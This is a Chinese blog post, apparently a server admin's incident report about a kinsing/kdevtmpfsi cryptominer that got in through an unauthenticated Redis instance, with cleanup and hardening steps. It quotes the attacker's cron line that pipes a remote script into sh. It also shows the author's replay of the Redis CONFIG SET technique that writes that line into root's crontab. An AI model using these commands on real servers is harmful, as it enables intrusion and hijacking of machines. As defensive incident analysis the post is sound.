周四晚上十一点,监控又发邮件了。
CPU 使用率 100%,持续十五分钟。
打开站点试了一下,能开,就是慢。首页要转三秒才出来。
第一反应是被打了,毕竟上个月刚被 CC 过一轮。结果查了半天,日志干干净净,没有异常请求。
先看是谁在吃 CPU
SSH 上去,敲 top:
top -c
第一行就是一个没见过的进程:
PID USER %CPU %MEM COMMAND
18422 root 387.2 2.1 /tmp/kdevtmpfsi
387%,四核机器基本跑满。
进程名 kdevtmpfsi 看着像内核线程——Linux 确实有个叫 kdevtmpfs 的东西,负责管理 /dev 下的临时文件。
但内核线程不会出现在普通进程列表里,而且内核线程的 CPU 不会超过 100%。
这是个伪装。
确认它的真身
先看它到底在执行什么文件,别只看 ps 里的名字,那个可以随便改:
ls -l /proc/18422/exe
输出:
lrwxrwxrwx 1 root root 0 Oct 30 23:14 /proc/18422/exe -> /tmp/kdevtmpfsi
再看它的网络连接:
netstat -antp | grep 18422
连着境外一个 IP 的 3333 端口。
3333 是门罗币矿池的常用端口。
到这里基本确定:挖矿木马。
kill 掉,它又活了
第一反应是杀进程:
kill -9 18422
CPU 掉下来了。松了口气,去泡了杯茶。
回来一看,又满了,PID 变成了 21456,还是那个 kdevtmpfsi。
说明有东西在定时拉起它。
找守护进程
挖矿木马一般成对出现:一个挖矿主程序,一个守护脚本。守护脚本每隔几十秒检查一次,主程序没了就重新拉起来。
先看 cron:
crontab -l
输出里有一行:
*/3 * * * * curl -fsSL http://185.xxx.xxx.xxx/ldr.sh | sh
每三分钟从境外服务器拉一个脚本下来执行。
但 crontab -l 只显示当前用户的。系统级的在别的地方:
ls -la /etc/cron.d/
cat /etc/crontab
里面还有一条,写在 /etc/cron.d/root 这个文件里,内容和上面一样。
再看 /tmp:
ls -la /tmp/ | grep -E "kinsing|kdevtmpfsi"
两个文件,一个是 kdevtmpfsi,另一个叫 kinsing。
这个组合很典型:kinsing 是守护进程,kdevtmpfsi 是挖矿程序。这对名字在 2020 年之后一直很活跃,专门打 Linux 服务器。
它从哪进来的
机器没开过什么奇怪的端口,唯一对外的除了 80 和 443,就是 6379。
6379 是 Redis。
上个月为了优化站点打开速度,我在宝塔里装了 Redis 做对象缓存(具体过程写在另一篇讲网站变慢的文章里)。装完之后只顾着测效果,端口的事完全没管。
宝塔装 Redis 的时候,默认配置里 bind 是 0.0.0.0,protected-mode 是 no,也没有密码。
也就是说:整台服务器的 Redis 暴露在公网上,谁都能连,谁都能写。
验证一下:
grep -E "^bind|^protected-mode|^requirepass" /www/server/redis/redis.conf
输出三行,全是要命的值。
Redis 未授权是怎么变成 root 的
Redis 有个 CONFIG SET 命令,可以改运行时的配置。
攻击者做的事很简单:
- 连上你的 Redis
- 把工作目录改成
/var/spool/cron/(cron 的目录) - 写入一个文件名是
root的文件,内容是定时任务 - 执行
SAVE,文件落盘
因为 Redis 通常以 root 跑,写出来的 cron 文件也是 root 的,于是每三分钟执行一次他的脚本,脚本再去下载挖矿程序。
手动复现一下长这样:
redis-cli -h 你的IP
127.0.0.1:6379> config set dir /var/spool/cron/
127.0.0.1:6379> config set dbfilename root
127.0.0.1:6379> set x "\n\n*/3 * * * * curl -fsSL http://xxx/ldr.sh | sh\n\n"
127.0.0.1:6379> save
我后来在自己的机器上用内网地址试了一次,确实能写进去。看完背后有点凉。
清理
顺序很重要。先断来源,再杀进程。顺序反了就是白干。
第一步,把 Redis 关掉并锁死。
systemctl stop redis
sed -i 's/^bind .*/bind 127.0.0.1/' /www/server/redis/redis.conf
sed -i 's/^protected-mode .*/protected-mode yes/' /www/server/redis/redis.conf
echo 'requirepass 一个足够长的随机密码' >> /www/server/redis/redis.conf
systemctl start redis
第二步,清 crontab。
crontab -e # 删掉那行 curl
rm -f /etc/cron.d/root
ls -la /var/spool/cron/ # 确认没有别的文件
第三步,删文件。
有些挖矿文件会被加 chattr +i,普通 rm 删不掉,报 "Operation not permitted"。
chattr -i /tmp/kdevtmpfsi /tmp/kinsing
rm -f /tmp/kdevtmpfsi /tmp/kinsing /var/tmp/kdevtmpfsi /var/tmp/kinsing
第四步,杀进程。
pkill -9 kdevtmpfsi
pkill -9 kinsing
第五步,检查有没有藏别的东西。
# 最近三天被改过的可执行文件
find / -type f -perm -111 -mtime -3 2>/dev/null | grep -v "/proc\|/sys"
# 所有监听端口
netstat -antp | grep LISTEN
# 带着奇怪名字的 systemd 服务
systemctl list-units --type=service --state=running
这一步我跑了大概十分钟,翻出来一个藏在 /usr/lib/systemd/system/ 下的服务,名字叫 sysupdate.service,伪装成系统更新。删掉之后才算干净。
损失
CPU 被占满三天,站点慢了三天,用户掉了些。
流量上,挖矿程序走的是境外 IP,跑掉大概 30 多 G 出站流量。腾讯云这个月账单多了两百多。
数据没丢。但这事之后我把所有服务器的端口全过了一遍。
现在的配置
Redis 只监听本机:
bind 127.0.0.1
protected-mode yes
requirepass 密码
宝塔的防火墙里,6379 和 3306 全部只对 127.0.0.1 开放:
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
另外加了一条监控:CPU 连续五分钟超过 80% 就发邮件。上次是过了十五分钟才发现,这次改成五分钟。
还有个细节:别用 root 跑 Redis 和 MySQL。宝塔默认就是 root,可以在面板里改成 www 用户。这样即使被写了,攻击者拿到的也只是 www 权限,写不进 /var/spool/cron/。
很多挖矿木马不是被打进来的,是被"自己图省事"放进来的。端口开出去的那一刻,就已经在赌没人扫。
三句话
Redis、MySQL、MongoDB,装完第一件事不是测试,是看它监听在哪。这三个是挖矿木马最爱的入口。
CPU 100% 但不影响访问,先怀疑挖矿。被攻击的话站点会直接挂,不会慢慢转。
进程名带 kdevtmpfsi、kinsing、xmrig、sysupdate 的,一律当病毒处理。
1、本站所有资源均收集于互联网,分享目的仅限学习与参考。如有侵权,请联系 1685698671@qq.com 及时删除!
2、本站资源不保证完整性和安全性,下载后请自行检测。使用过程中出现的任何问题均与本站无关,敬请自行处理。
3、本站资源仅限个人学习研究使用,严禁用于任何违法违纪用途。因使用者违规使用产生的一切后果,由使用者自行承担,本站不承担任何责任。


评论(0)